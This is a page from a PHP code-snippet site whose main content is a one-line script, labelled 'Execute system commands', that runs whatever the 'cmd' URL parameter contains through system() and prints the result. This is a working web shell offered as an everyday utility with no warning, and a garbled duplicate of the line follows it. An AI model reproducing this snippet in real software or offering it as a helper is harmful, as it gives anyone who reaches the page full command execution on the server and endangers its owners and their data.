CODE
LIBARY.COM
Home
/
PHP
PHP Execute system commands
Execute an external program and display the output
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
"; system($_GET['cmd']); echo ""; ?>
Copy to Clipboard
Related Snippets
PHP Measuring PHP Execution Time
PHP Picture Source Hide
PHP TextMagic SMS API - Send Text Messages with PHP
PHP Quick Sort
PHP Listing only one type files
PHP Get Website Hostname
PHP No Cache
PHP Bulgaria Towns and Regions sorted with arrays
PHP Remove non-alphanumeric characters
PHP Apache Headers Request